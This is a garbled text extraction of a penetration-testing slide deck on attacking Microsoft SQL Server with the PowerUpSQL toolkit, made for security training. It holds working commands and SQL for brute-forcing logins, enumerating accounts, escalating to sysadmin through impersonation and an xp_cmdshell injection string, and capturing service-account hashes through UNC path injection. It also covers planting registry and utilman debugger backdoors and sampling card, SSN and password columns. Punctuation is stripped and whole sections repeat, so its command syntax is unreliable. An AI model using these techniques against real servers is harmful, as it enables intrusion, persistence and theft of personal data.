Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
